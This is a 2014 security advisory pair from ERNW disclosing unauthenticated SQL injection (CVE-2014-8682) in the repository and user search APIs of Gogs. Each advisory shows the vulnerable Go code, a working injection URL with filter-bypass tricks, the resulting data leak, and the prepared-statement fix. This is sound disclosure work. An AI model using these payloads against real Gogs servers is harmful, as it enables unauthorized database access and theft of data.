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Gogs - (users and repos q pararm) SQL Injection

Gogs - (users and repos q pararm) SQL Injection

Published on 2014-11-14

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Unauthenticated SQL Injection in Gogs repository search

=======================================================

Researcher: Timo Schmid <tschmid@ernw.de>





Description

===========

Gogs(Go Git Service) is a painless self-hosted Git Service written in

Go. (taken

from [1])



It is very similiar to the github hosting plattform. Multiple users can

create

multiple repositories and share code with others with the git version

control

system. Repositories can be marked as public or private to prevent

access from

unauthorized users.



Gogs provides an api view to give javascript code the possibility to

search for

existing repositories in the system. This view is accessible at

/api/v1/repos/search?q=<search query>.



The q Parameter of this view is vulnerable to SQL injection.





Exploitation Technique

======================

Remote





Severity Level

==============

Critical





CVSS Base Score

===============

8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)





CVE-ID

======

CVE-2014-8682



Impact

======

The vulnerability results at least in a complete compromise of the database.

Depending on the particular database configuration a compromise of the

system

is also possible.





Status

======

Fixed by Vendor





Vulnerable Code Section

=======================

models/repo.go:

[...]

// SearchRepositoryByName returns given number of repositories whose name

contains keyword.

func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err

error) {

    // Prevent SQL inject.

    opt.Keyword = FilterSQLInject(opt.Keyword)

    if len(opt.Keyword) == 0 {

        return repos, nil

    }

    opt.Keyword = strings.ToLower(opt.Keyword)



    repos = make([]*Repository, 0, opt.Limit)



    // Append conditions.

    sess := x.Limit(opt.Limit)

    if opt.Uid > 0 {

        sess.Where("owner_id=?", opt.Uid)

    }

    if !opt.Private {

        sess.And("is_private=false")

    }

    sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos)

    return repos, err

}

[...]



The vulnerability exists because of a string concatination in the SQL

query with

user supplied data. Because of the SQL filter at the method entry, attackers

can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also

filtered.





Proof of Concept

================

Request:

http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09

(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09

user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)

%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09

as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as

%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09

a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09

JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN

%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN

%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN

%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN

%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN

%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27



Response:

{"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink"

:"bluec0re/root@localhost"}],"ok":true}





Solution

========

This vulnerability could easily be fixed by using prepared statements:



sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos)



Update to version 0.5.6.1105.





Affected Versions

=================

>= v0.3.1-9-g49dc57e

<= v0.5.6.1104-g0c5ba45





Timeline

========

2014-09-25: Developer informed

2014-10-16: Contact of developer regarding fix

2014-10-25: Working together with developer on fix

2014-11-03: Contacted developer

2014-11-04: Fixed in master branch

2014-11-14: CVE-ID assigned





Credits

=======

Pascal Turbing <pturbing@ernw.de>

Jiahua (Joe) Chen <u@gogs.io>





References

==========Update to version 0.5.6.1105.

[1] https://github.com/gogits/gogs

[2] http://gogs.io/

[3]

http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/

[4]

http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/

[5]

http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/

[6] https://www.ernw.de/download/BC-1402.txt





Advisory-ID

===========

BC-1402





Disclaimer

==========

The information herein contained may change without notice. Use of this

information constitutes acceptance for use in an AS IS condition. There

are NO

warranties, implied or otherwise, with regard to this information or its

use.

Any use of this information is at the user's risk. In no event shall the

author/

distributor be held liable for any damages whatsoever arising out of or in

connection with the use or spread of this information.







Unauthenticated SQL Injection in Gogs user search

=================================================

Researcher: Timo Schmid <tschmid@ernw.de>





Description

===========

Gogs(Go Git Service) is a painless self-hosted Git Service written in

Go. (taken

from [1])



It is very similiar to the github hosting plattform. Multiple users can

create

multiple repositories and share code with others with the git version

control

system. Repositories can be marked as public or private to prevent

access from

unauthorized users.



Gogs provides an api view to give javascript code the possibility to

search for

existing users in the system. This view is accessible at

/api/v1/users/search?q=<search query>.



The q Parameter of this view is vulnerable to SQL injection.





Exploitation Technique:

=======================

Remote





Severity Level:

===============

Critical





CVSS Base Score

===============

8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P)





CVE-ID

======

CVE-2014-8682





Impact

======

The vulnerability results at least in a complete compromise of the database.

Depending on the particular database configuration a compromise of the

system

is also possible.





Status

======

Fixed by Vendor





Vulnerable Code Section

=======================

models/user.go:

[...]

// SearchUserByName returns given number of users whose name contains

keyword.

func SearchUserByName(opt SearchOption) (us []*User, err error) {

    opt.Keyword = FilterSQLInject(opt.Keyword)

    if len(opt.Keyword) == 0 {

        return us, nil

    }

    opt.Keyword = strings.ToLower(opt.Keyword)



    us = make([]*User, 0, opt.Limit)

    err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" +

opt.Keyword + "%'").Find(&us)

    return us, err

}

[...]



The vulnerability exists because of a string concatination in the SQL

query with

user supplied data. Because of the SQL filter at the method entry, attackers

can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also

filtered.





Proof of Concept

================

Request:

http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/

select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,

null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from

/**/mysql.db/**/where/**/('%25'%3D'



Response:

{"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar":

"//1.gravatar.com/avatar/"}],"ok":true}





Solution

========

This vulnerability could easily be fixed by using prepared statements:



err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" +

opt.Keyword + "%").Find(&us)



Update to version 0.5.6.1105.





Affected Versions

=================

>= v0.3.1-9-g49dc57e

<= v0.5.6.1104-g0c5ba45





Timeline

========

2014-09-25: Developer informed

2014-10-16: Contact of developer regarding fix

2014-10-25: Working together with developer on fix

2014-11-03: Contacted developer

2014-11-04: Fixed in master branch

2014-11-14: CVE-ID assigned





Credits

=======

Pascal Turbing <pturbing@ernw.de>

Jiahua (Joe) Chen <u@gogs.io>





References

==========

[1] https://github.com/gogits/gogs

[2] http://gogs.io/

[3]

http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/

[4]

http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/

[5]

http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/

[6] https://www.ernw.de/download/BC-1403.txt





Advisory-ID

===========

BC-1403





Disclaimer

==========

The information herein contained may change without notice. Use of this

information constitutes acceptance for use in an AS IS condition. There

are NO

warranties, implied or otherwise, with regard to this information or its

use.

Any use of this information is at the user's risk. In no event shall the

author/

distributor be held liable for any damages whatsoever arising out of or in

connection with the use or spread of this information.





--

Timo Schmid



ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg  -  www.ernw.de

Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192

PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0



Handelsregister Mannheim: HRB 337135

Geschaeftsfuehrer: Enno Rey



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